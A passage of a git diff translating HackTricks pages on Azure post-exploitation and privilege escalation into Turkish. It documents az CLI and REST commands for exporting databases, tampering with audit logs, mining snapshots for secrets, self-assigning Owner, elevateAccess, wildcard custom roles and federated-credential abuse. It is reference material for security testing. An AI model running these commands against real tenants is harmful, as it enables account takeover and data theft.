ayarlayabilir veya hata yönetimini etkilemek için ölü mektup işlemlerini etkinleştirebilir. Ayrıca, hizmet işlevselliğini kesintiye uğratmak veya tespiti atlatmak için kuyruk boyutlarını, kilit sürelerini veya durumları manipüle edebilir, bu da bunu önemli bir post-exploitation riski haline getirir. ```bash az servicebus queue create --resource-group --namespace-name --name az servicebus queue update --resource-group --namespace-name --name ``` - ### Actions: `Microsoft.ServiceBus/namespaces/topics/write` (`Microsoft.ServiceBus/namespaces/topics/read`) -An attacker with permissions to create or modify topics (to modiffy the topic you will also need the Action:`Microsoft.ServiceBus/namespaces/topics/read`) within an Azure Service Bus namespace can exploit this to disrupt message workflows, expose sensitive data, or enable unauthorized actions. Using commands like az servicebus topic update, they can manipulate configurations such as enabling partitioning for scalability misuse, altering TTL settings to retain or discard messages improperly, or disabling duplicate detection to bypass controls. Additionally, they could adjust topic size limits, change status to disrupt availability, or configure express topics to temporarily store intercepted messages, making topic management a critical focus for post-exploitation mitigation. - +Azure Service Bus ad alanında konuları oluşturma veya değiştirme izinlerine sahip bir saldırgan, mesaj iş akışlarını kesintiye uğratmak, hassas verileri açığa çıkarmak veya yetkisiz eylemleri etkinleştirmek için bunu istismar edebilir. az servicebus topic update gibi komutlar kullanarak, ölçeklenebilirlik kötüye kullanımı için bölümlendirmeyi etkinleştirme, mesajları yanlış bir şekilde saklamak veya atmak için TTL ayarlarını değiştirme veya kontrolleri atlatmak için tekrar eden tespiti devre dışı bırakma gibi yapılandırmaları manipüle edebilirler. Ayrıca, konu boyut sınırlarını ayarlayabilir, durumu değiştirerek kullanılabilirliği kesintiye uğratabilir veya yakalanan mesajları geçici olarak depolamak için hızlı konuları yapılandırabilirler; bu da konu yönetimini post-exploitation azaltma için kritik bir odak haline getirir. ```bash az servicebus topic create --resource-group --namespace-name --name az servicebus topic update --resource-group --namespace-name --name ``` - ### Actions: `Microsoft.ServiceBus/namespaces/topics/subscriptions/write` (`Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) -An attacker with permissions to create or modify subscriptions (to modiffy the subscription you will also need the Action: `Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) within an Azure Service Bus topic can exploit this to intercept, reroute, or disrupt message workflows. Using commands like az servicebus topic subscription update, they can manipulate configurations such as enabling dead lettering to divert messages, forwarding messages to unauthorized endpoints, or modifying TTL and lock duration to retain or interfere with message delivery. Additionally, they can alter status or max delivery count settings to disrupt operations or evade detection, making subscription control a critical aspect of post-exploitation scenarios. - +Bir Azure Service Bus konusundaki abonelikleri oluşturma veya değiştirme izinlerine sahip bir saldırgan, mesaj iş akışlarını kesmek, yönlendirmek veya bozmak için bunu kullanabilir. az servicebus topic subscription update gibi komutlar kullanarak, mesajları saptırmak için ölü mektup özelliğini etkinleştirme, mesajları yetkisiz uç noktalara yönlendirme veya mesaj teslimatını sürdürmek veya müdahale etmek için TTL ve kilit süresini değiştirme gibi yapılandırmaları manipüle edebilirler. Ayrıca, operasyonları bozmak veya tespiti atlatmak için durum veya maksimum teslimat sayısı ayarlarını değiştirebilirler; bu da abonelik kontrolünü post-exploitation senaryolarının kritik bir yönü haline getirir. ```bash az servicebus topic subscription create --resource-group --namespace-name --topic-name --name az servicebus topic subscription update --resource-group --namespace-name --topic-name --name ``` +### Eylemler: `AuthorizationRules` Mesaj Gönderme ve Alma -### Actions: `AuthorizationRules` Send & Recive Messages - -Take a look here: +Buraya bir göz atın: {{#ref}} ../az-privilege-escalation/az-queue-privesc.md {{#endref}} -## References +## Referanslar - https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues - https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api @@ -97,7 +81,3 @@ Take a look here: - https://learn.microsoft.com/en-us/cli/azure/servicebus/queue?view=azure-cli-latest {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md index 7a8b1c1d5..e93487f9f 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md @@ -1,10 +1,10 @@ -# Az - SQL Database Post Exploitation +# Az - SQL Veritabanı Sonrası Sömürü {{#include ../../../banners/hacktricks-training.md}} -## SQL Database Post Exploitation +## SQL Veritabanı Sonrası Sömürü -For more information about SQL Database check: +SQL Veritabanı hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../az-services/az-sql.md @@ -12,8 +12,7 @@ For more information about SQL Database check: ### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write" -With these permissions, an attacker can create and update databases within the compromised environment. This post-exploitation activity could allow an attacker to add malicious data, modify database configurations, or insert backdoors for further persistence, potentially disrupting operations or enabling additional malicious actions. - +Bu izinlerle, bir saldırgan, ele geçirilmiş ortamda veritabanları oluşturabilir ve güncelleyebilir. Bu sonrası sömürü etkinliği, bir saldırgana kötü niyetli veriler ekleme, veritabanı yapılandırmalarını değiştirme veya daha fazla kalıcılık için arka kapılar ekleme imkanı verebilir, bu da operasyonları kesintiye uğratabilir veya ek kötü niyetli eylemleri mümkün kılabilir. ```bash # Create Database az sql db create --resource-group --server --name @@ -21,73 +20,63 @@ az sql db create --resource-group --server --name # Update Database az sql db update --resource-group --server --name --max-size ``` - ### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read" -With these permissions, an attacker can create and update elasticPools within the compromised environment. This post-exploitation activity could allow an attacker to add malicious data, modify database configurations, or insert backdoors for further persistence, potentially disrupting operations or enabling additional malicious actions. - +Bu izinlerle, bir saldırgan ele geçirilmiş ortamda elasticPools oluşturabilir ve güncelleyebilir. Bu post-exploitation aktivitesi, bir saldırgana kötü niyetli veriler ekleme, veritabanı yapılandırmalarını değiştirme veya daha fazla kalıcılık için arka kapılar ekleme imkanı verebilir, bu da operasyonları kesintiye uğratabilir veya ek kötü niyetli eylemleri mümkün kılabilir. ```bash # Create Elastic Pool az sql elastic-pool create \ - --name \ - --server \ - --resource-group \ - --edition \ - --dtu +--name \ +--server \ +--resource-group \ +--edition \ +--dtu # Update Elastic Pool az sql elastic-pool update \ - --name \ - --server \ - --resource-group \ - --dtu \ - --tags +--name \ +--server \ +--resource-group \ +--dtu \ +--tags ``` - ### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write" -With this permission, you can modify or enable auditing settings on an Azure SQL Server. This could allow an attacker or authorized user to manipulate audit configurations, potentially covering tracks or redirecting audit logs to a location under their control. This can hinder security monitoring or enable it to keep track of the actions. NOTE: To enable auditing for an Azure SQL Server using Blob Storage, you must attach a storage account where the audit logs can be saved. - +Bu izinle, bir Azure SQL Sunucusu üzerindeki denetim ayarlarını değiştirebilir veya etkinleştirebilirsiniz. Bu, bir saldırganın veya yetkili bir kullanıcının denetim yapılandırmalarını manipüle etmesine olanak tanıyabilir, bu da izleri örtbas etme veya denetim günlüklerini kontrolü altındaki bir konuma yönlendirme potansiyeline sahiptir. Bu, güvenlik izlemeyi engelleyebilir veya eylemleri takip etmesine olanak tanıyabilir. NOT: Azure SQL Sunucusu için Blob Depolama kullanarak denetimi etkinleştirmek için, denetim günlüklerinin kaydedilebileceği bir depolama hesabı eklemelisiniz. ```bash az sql server audit-policy update \ - --server \ - --resource-group \ - --state Enabled \ - --storage-account \ - --retention-days 7 +--server \ +--resource-group \ +--state Enabled \ +--storage-account \ +--retention-days 7 ``` - ### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write" -With this permission, you can modify the connection policies of an Azure SQL Server. This capability can be exploited to enable or change server-level connection settings - +Bu izinle, bir Azure SQL Server'ın bağlantı politikalarını değiştirebilirsiniz. Bu yetenek, sunucu düzeyindeki bağlantı ayarlarını etkinleştirmek veya değiştirmek için kullanılabilir. ```bash az sql server connection-policy update \ - --server \ - --resource-group \ - --connection-type +--server \ +--resource-group \ +--connection-type ``` - ### "Microsoft.Sql/servers/databases/export/action" -With this permission, you can export a database from an Azure SQL Server to a storage account. An attacker or authorized user with this permission can exfiltrate sensitive data from the database by exporting it to a location they control, posing a significant data breach risk. It is important to know the storage key to be able to perform this. - +Bu izinle, bir Azure SQL Sunucusundan bir veritabanını bir depolama hesabına dışa aktarabilirsiniz. Bu izne sahip bir saldırgan veya yetkili kullanıcı, veritabanından hassas verileri kontrol ettikleri bir konuma dışa aktararak veri sızıntısı riski oluşturabilir. Bunu gerçekleştirebilmek için depolama anahtarını bilmek önemlidir. ```bash az sql db export \ - --server \ - --resource-group \ - --name \ - --storage-uri \ - --storage-key-type SharedAccessKey \ - --admin-user \ - --admin-password +--server \ +--resource-group \ +--name \ +--storage-uri \ +--storage-key-type SharedAccessKey \ +--admin-user \ +--admin-password ``` - ### "Microsoft.Sql/servers/databases/import/action" -With this permission, you can import a database into an Azure SQL Server. An attacker or authorized user with this permission can potentially upload malicious or manipulated databases. This can lead to gaining control over sensitive data or by embedding harmful scripts or triggers within the imported database. Additionaly you can import it to your own server in azure. Note: The server must allow Azure services and resources to access the server. - +Bu izinle, bir veritabanını Azure SQL Sunucusuna içe aktarabilirsiniz. Bu izne sahip bir saldırgan veya yetkili kullanıcı, potansiyel olarak kötü niyetli veya manipüle edilmiş veritabanları yükleyebilir. Bu, hassas verilere erişim sağlamak veya içe aktarılan veritabanına zararlı betikler veya tetikleyiciler yerleştirmekle sonuçlanabilir. Ayrıca, bunu kendi sunucunuza Azure'da içe aktarabilirsiniz. Not: Sunucu, Azure hizmetlerinin ve kaynaklarının sunucuya erişmesine izin vermelidir. ```bash az sql db import --admin-user \ --admin-password \ @@ -98,9 +87,4 @@ az sql db import --admin-user \ --storage-key \ --storage-uri "https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac" ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md index 06e5df01e..871b3b6e0 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md @@ -4,7 +4,7 @@ ## Table Storage Post Exploitation -For more information about table storage check: +Table storage hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../az-services/az-table-storage.md @@ -12,57 +12,49 @@ For more information about table storage check: ### Microsoft.Storage/storageAccounts/tableServices/tables/entities/read -A principal with this permission will be able to **list** the tables inside a table storage and **read the info** which might contain **sensitive information**. - +Bu izne sahip bir yetkili, bir tablo depolama içindeki tabloları **listeleyebilir** ve **hassas bilgileri** içerebilecek **bilgileri okuyabilir**. ```bash # List tables az storage table list --auth-mode login --account-name # Read table (top 10) az storage entity query \ - --account-name \ - --table-name \ - --auth-mode login \ - --top 10 +--account-name \ +--table-name \ +--auth-mode login \ +--top 10 ``` - ### Microsoft.Storage/storageAccounts/tableServices/tables/entities/write | Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action | Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action -A principal with this permission will be able to **write and overwrite entries in tables** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some trusted data that could abuse some injection vulnerability in the app using it). - -- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/write` allows all the actions. -- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action` allows to **add** entries -- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action` allows to **update** existing entries +Bu izne sahip bir kullanıcı, **tablolar içinde girişleri yazma ve üzerine yazma** yeteneğine sahip olacak, bu da ona bazı zararlar verme veya hatta ayrıcalıkları artırma imkanı verebilir (örneğin, bunu kullanan uygulamadaki bazı enjeksiyon zafiyetlerini kötüye kullanabilecek güvenilir verileri üzerine yazmak). +- `Microsoft.Storage/storageAccounts/tableServices/tables/entities/write` izni tüm eylemlere izin verir. +- `Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action` izni **giriş eklemeye** izin verir. +- `Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action` izni mevcut girişleri **güncellemeye** izin verir. ```bash # Add az storage entity insert \ - --account-name \ - --table-name \ - --auth-mode login \ - --entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager" +--account-name \ +--table-name \ +--auth-mode login \ +--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager" # Replace az storage entity replace \ - --account-name \ - --table-name \ - --auth-mode login \ - --entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager" +--account-name \ +--table-name \ +--auth-mode login \ +--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager" # Update az storage entity merge \ - --account-name \ - --table-name \ - --auth-mode login \ - --entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager" +--account-name \ +--table-name \ +--auth-mode login \ +--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager" ``` - ### \*/delete -This would allow to delete file inside the shared filesystem which might **interrupt some services** or make the client **lose valuable information**. +Bu, paylaşılan dosya sistemindeki dosyaları silmeye izin verebilir, bu da **bazı hizmetleri kesintiye uğratabilir** veya müşterinin **değerli bilgileri kaybetmesine** neden olabilir. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md index 900a5d9ce..0b5dab82f 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md @@ -4,94 +4,81 @@ ## VMs & Network -For more info about Azure VMs and networking check the following page: +Azure VMs ve ağlar hakkında daha fazla bilgi için aşağıdaki sayfayı kontrol edin: {{#ref}} ../az-services/vms/ {{#endref}} -### VM Application Pivoting +### VM Uygulama Pivotlama -VM applications can be shared with other subscriptions and tenants. If an application is being shared it's probably because it's being used. So if the attacker manages to **compromise the application and uploads a backdoored** version it might be possible that it will be **executed in another tenant or subscription**. +VM uygulamaları diğer abonelikler ve kiracılar ile paylaşılabilir. Bir uygulama paylaşılıyorsa, muhtemelen kullanıldığı içindir. Bu nedenle, saldırgan **uygulamayı ele geçirip arka kapılı** bir versiyonunu yüklemeyi başarırsa, bu versiyonun **başka bir kiracı veya abonelikte çalıştırılması** mümkün olabilir. -### Sensitive information in images +### Görsellerdeki hassas bilgiler -It might be possible to find **sensitive information inside images** taken from VMs in the past. - -1. **List images** from galleries +Geçmişteki VMs'den alınan **görsellerin içinde hassas bilgiler** bulmak mümkün olabilir. +1. **Galeri**'lerden görselleri listele ```bash # Get galleries az sig list -o table # List images inside gallery az sig image-definition list \ - --resource-group \ - --gallery-name \ - -o table +--resource-group \ +--gallery-name \ +-o table # Get images versions az sig image-version list \ - --resource-group \ - --gallery-name \ - --gallery-image-definition \ - -o table +--resource-group \ +--gallery-name \ +--gallery-image-definition \ +-o table ``` - -2. **List custom images** - +2. **Özel görüntüleri listele** ```bash az image list -o table ``` - -3. **Create VM from image ID** and search for sensitive info inside of it - +3. **Görüntü ID'sinden VM oluşturun** ve içinde hassas bilgileri arayın ```bash # Create VM from image az vm create \ - --resource-group \ - --name \ - --image /subscriptions//resourceGroups//providers/Microsoft.Compute/galleries//images//versions/ \ - --admin-username \ - --generate-ssh-keys +--resource-group \ +--name \ +--image /subscriptions//resourceGroups//providers/Microsoft.Compute/galleries//images//versions/ \ +--admin-username \ +--generate-ssh-keys ``` +### Restore noktalarında hassas bilgiler -### Sensitive information in restore points - -It might be possible to find **sensitive information inside restore points**. - -1. **List restore points** +**Restore noktalarında hassas bilgilerin** bulunması mümkün olabilir. +1. **Restore noktalarını listele** ```bash az restore-point list \ - --resource-group \ - --restore-point-collection-name \ - -o table +--resource-group \ +--restore-point-collection-name \ +-o table ``` - -2. **Create a disk** from a restore point - +2. **Bir disk oluşturun** bir geri yükleme noktasından ```bash az disk create \ - --resource-group \ - --name \ - --source /subscriptions//resourceGroups//providers/Microsoft.Compute/restorePointCollections//restorePoints/ +--resource-group \ +--name \ +--source /subscriptions//resourceGroups//providers/Microsoft.Compute/restorePointCollections//restorePoints/ ``` - -3. **Attach the disk to a VM** (the attacker needs to have compromised a VM inside the account already) - +3. **Bir diski bir VM'ye ekle** (saldırganın zaten hesap içindeki bir VM'yi ele geçirmiş olması gerekir) ```bash az vm disk attach \ - --resource-group \ - --vm-name \ - --name +--resource-group \ +--vm-name \ +--name ``` - -4. **Mount** the disk and **search for sensitive info** +4. **Disk'i bağlayın** ve **hassas bilgileri arayın** {{#tabs }} {{#tab name="Linux" }} - ```bash # List all available disks sudo fdisk -l @@ -103,83 +90,70 @@ sudo file -s /dev/sdX sudo mkdir /mnt/mydisk sudo mount /dev/sdX1 /mnt/mydisk ``` - {{#endtab }} {{#tab name="Windows" }} -#### **1. Open Disk Management** +#### **1. Disk Yönetimini Açın** -1. Right-click **Start** and select **Disk Management**. -2. The attached disk should appear as **Offline** or **Unallocated**. +1. **Başlat**'a sağ tıklayın ve **Disk Yönetimi**'ni seçin. +2. Bağlı disk **Çevrimdışı** veya **Ayrılmamış** olarak görünmelidir. -#### **2. Bring the Disk Online** +#### **2. Diski Çevrimiçi Yapın** -1. Locate the disk in the bottom pane. -2. Right-click the disk (e.g., **Disk 1**) and select **Online**. +1. Alt pencerede diski bulun. +2. Diske sağ tıklayın (örneğin, **Disk 1**) ve **Çevrimiçi**'yi seçin. -#### **3. Initialize the Disk** +#### **3. Diski Başlatın** -1. If the disk is not initialized, right-click and select **Initialize Disk**. -2. Choose the partition style: - - **MBR** (Master Boot Record) or **GPT** (GUID Partition Table). GPT is recommended for modern systems. +1. Disk başlatılmamışsa, sağ tıklayın ve **Diski Başlat**'ı seçin. +2. Bölüm stilini seçin: +- **MBR** (Master Boot Record) veya **GPT** (GUID Partition Table). Modern sistemler için GPT önerilir. -#### **4. Create a New Volume** +#### **4. Yeni Bir Birim Oluşturun** -1. Right-click the unallocated space on the disk and select **New Simple Volume**. -2. Follow the wizard to: - - Assign a drive letter (e.g., `D:`). - - Format the disk (choose NTFS for most cases). - {{#endtab }} - {{#endtabs }} +1. Diskteki ayrılmamış alana sağ tıklayın ve **Yeni Basit Birim**'i seçin. +2. Sihirbazı takip edin: +- Bir sürücü harfi atayın (örneğin, `D:`). +- Diski biçimlendirin (çoğu durumda NTFS seçin). +{{#endtab }} +{{#endtabs }} -### Sensitive information in disks & snapshots +### Disklerde ve anlık görüntülerde hassas bilgiler -It might be possible to find **sensitive information inside disks or even old disk's snapshots**. - -1. **List snapshots** +**Disklerde veya hatta eski disk anlık görüntülerinde hassas bilgilerin bulunması mümkün olabilir**. +1. **Anlık görüntüleri listeleyin** ```bash az snapshot list \ - --resource-group \ - -o table +--resource-group \ +-o table ``` - -2. **Create disk from snapshot** (if needed) - +2. **Anlık görüntüden disk oluştur** (gerekirse) ```bash az disk create \ - --resource-group \ - --name \ - --source \ - --size-gb +--resource-group \ +--name \ +--source \ +--size-gb ``` +3. **Bir diski bir VM'ye ekleyin ve bağlayın** ve hassas bilgileri arayın (bunu nasıl yapacağınızı görmek için önceki bölüme bakın) -3. **Attach and mount the disk** to a VM and search for sensitive information (check the previous section to see how to do this) +### VM Uzantıları ve VM Uygulamalarında Hassas Bilgiler -### Sensitive information in VM Extensions & VM Applications - -It might be possible to find **sensitive information inside VM extensions and VM applications**. - -1. **List all VM apps** +**VM uzantıları ve VM uygulamaları içinde hassas bilgilerin** bulunması mümkün olabilir. +1. **Tüm VM uygulamalarını listeleyin** ```bash ## List all VM applications inside a gallery az sig gallery-application list --gallery-name --resource-group --output table ``` - -2. Install the extension in a VM and **search for sensitive info** - +2. Bir VM'de uzantıyı yükleyin ve **hassas bilgileri arayın** ```bash az vm application set \ - --resource-group \ - --name \ - --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \ - --treat-deployment-as-failure true +--resource-group \ +--name \ +--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \ +--treat-deployment-as-failure true ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/README.md index 662469fc5..19c1e389e 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/README.md @@ -1,6 +1 @@ -# Az - Privilege Escalation - - - - - +# Az - Yetki Yükseltme diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md index 6a805ae88..ddb30852e 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md @@ -4,7 +4,7 @@ ## App Services -For more information about Azure App services check: +Azure App hizmetleri hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../az-services/az-app-service.md @@ -12,17 +12,14 @@ For more information about Azure App services check: ### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, -These permissions allows to call the following commands to get a **SSH shell** inside a web app - -- Direct option: +Bu izinler, bir web uygulaması içinde **SSH shell** almak için aşağıdaki komutları çağırmaya olanak tanır +- Doğrudan seçenek: ```bash # Direct option az webapp ssh --name --resource-group ``` - -- Create tunnel and then connect to SSH: - +- Tünel oluşturun ve ardından SSH'ye bağlanın: ```bash az webapp create-remote-connection --name --resource-group @@ -35,9 +32,4 @@ az webapp create-remote-connection --name --resource-group ## So from that machine ssh into that port (you might need generate a new ssh session to the jump host) ssh root@127.0.0.1 -p 39895 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md index f8c4359f3..4d09eab44 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md @@ -4,7 +4,7 @@ ## Azure IAM -Fore more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../az-services/az-azuread.md @@ -12,45 +12,38 @@ Fore more information check: ### Microsoft.Authorization/roleAssignments/write -This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role: - +Bu izin, belirli bir kapsamda ilkelere roller atamaya olanak tanır ve bir saldırganın kendisine daha yetkili bir rol atayarak ayrıcalıkları artırmasına olanak tanır: ```bash # Example az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234" ``` - ### Microsoft.Authorization/roleDefinitions/Write -This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned. - -Create the file `role.json` with the following **content**: +Bu izin, bir rol tarafından verilen izinleri değiştirmeye olanak tanır ve bir saldırganın atadığı bir role daha fazla izin vererek ayrıcalıkları artırmasına olanak tanır. +Aşağıdaki **içerikle** `role.json` dosyasını oluşturun: ```json { - "Name": "", - "IsCustom": true, - "Description": "Custom role with elevated privileges", - "Actions": ["*"], - "NotActions": [], - "DataActions": ["*"], - "NotDataActions": [], - "AssignableScopes": ["/subscriptions/"] +"Name": "", +"IsCustom": true, +"Description": "Custom role with elevated privileges", +"Actions": ["*"], +"NotActions": [], +"DataActions": ["*"], +"NotDataActions": [], +"AssignableScopes": ["/subscriptions/"] } ``` - -Then update the role permissions with the previous definition calling: - +Sonra, önceki tanımı çağırarak rol izinlerini güncelleyin: ```bash az role definition update --role-definition role.json ``` - ### Microsoft.Authorization/elevateAccess/action -This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources. +Bu izin, ayrıcalıkları yükseltmeye ve Azure kaynaklarına herhangi bir ilkeye izin atamaya olanak tanır. Bu, Entra ID Küresel Yöneticilerine verilmesi amaçlanmıştır, böylece Azure kaynakları üzerindeki izinleri de yönetebilirler. > [!TIP] -> I think the user need to be Global Administrator in Entrad ID for the elevate call to work. - +> Yükseltme çağrısının çalışması için kullanıcının Entra ID'de Küresel Yönetici olması gerektiğini düşünüyorum. ```bash # Call elevate az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01" @@ -58,29 +51,22 @@ az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Au # Grant a user the Owner role az role assignment create --assignee "" --role "Owner" --scope "/" ``` - ### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write -This permission allows to add Federated credentials to managed identities. E.g. give access to Github Actions in a repo to a managed identity. Then, it allows to **access any user defined managed identity**. - -Example command to give access to a repo in Github to the a managed identity: +Bu izin, yönetilen kimliklere Federated kimlik bilgileri eklemeye olanak tanır. Örneğin, bir depodaki Github Actions'a bir yönetilen kimliğe erişim vermek. Ardından, **herhangi bir kullanıcı tanımlı yönetilen kimliğe** erişim sağlar. +Yönetilen bir kimliğe Github'daki bir depoya erişim vermek için örnek komut: ```bash # Generic example: az rest --method PUT \ - --uri "https://management.azure.com//subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities//federatedIdentityCredentials/?api-version=2023-01-31" \ - --headers "Content-Type=application/json" \ - --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:/:ref:refs/heads/","audiences":["api://AzureADTokenExchange"]}}' +--uri "https://management.azure.com//subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities//federatedIdentityCredentials/?api-version=2023-01-31" \ +--headers "Content-Type=application/json" \ +--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:/:ref:refs/heads/","audiences":["api://AzureADTokenExchange"]}}' # Example with specific data: az rest --method PUT \ - --uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \ - --headers "Content-Type=application/json" \ - --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}' +--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \ +--headers "Content-Type=application/json" \ +--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}' ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index 940e80bce..664f64ad3 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -3,80 +3,71 @@ {{#include ../../../../banners/hacktricks-training.md}} > [!NOTE] -> Note that **not all the granular permissions** built-in roles have in Entra ID **are elegible to be used in custom roles.** +> **Entra ID'deki** yerleşik rollerin **tüm ayrıntılı izinleri** özel roller için **kullanılabilir değildir.** -## Roles +## Roller -### Role: Privileged Role Administrator +### Rol: Ayrıcalıklı Rol Yöneticisi -This role contains the necessary granular permissions to be able to assign roles to principals and to give more permissions to roles. Both actions could be abused to escalate privileges. - -- Assign role to a user: +Bu rol, rolleri ilkelere atamak ve rollere daha fazla izin vermek için gerekli ayrıntılı izinleri içerir. Her iki eylem de ayrıcalıkları artırmak için kötüye kullanılabilir. +- Bir kullanıcıya rol atama: ```bash # List enabled built-in roles az rest --method GET \ - --uri "https://graph.microsoft.com/v1.0/directoryRoles" +--uri "https://graph.microsoft.com/v1.0/directoryRoles" # Give role (Global Administrator?) to a user roleId="" userId="" az rest --method POST \ - --uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \ - --headers "Content-Type=application/json" \ - --body "{ - \"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" - }" +--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \ +--headers "Content-Type=application/json" \ +--body "{ +\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" +}" ``` - -- Add more permissions to a role: - +- Bir role daha fazla izin ekleyin: ```bash # List only custom roles az rest --method GET \ - --uri 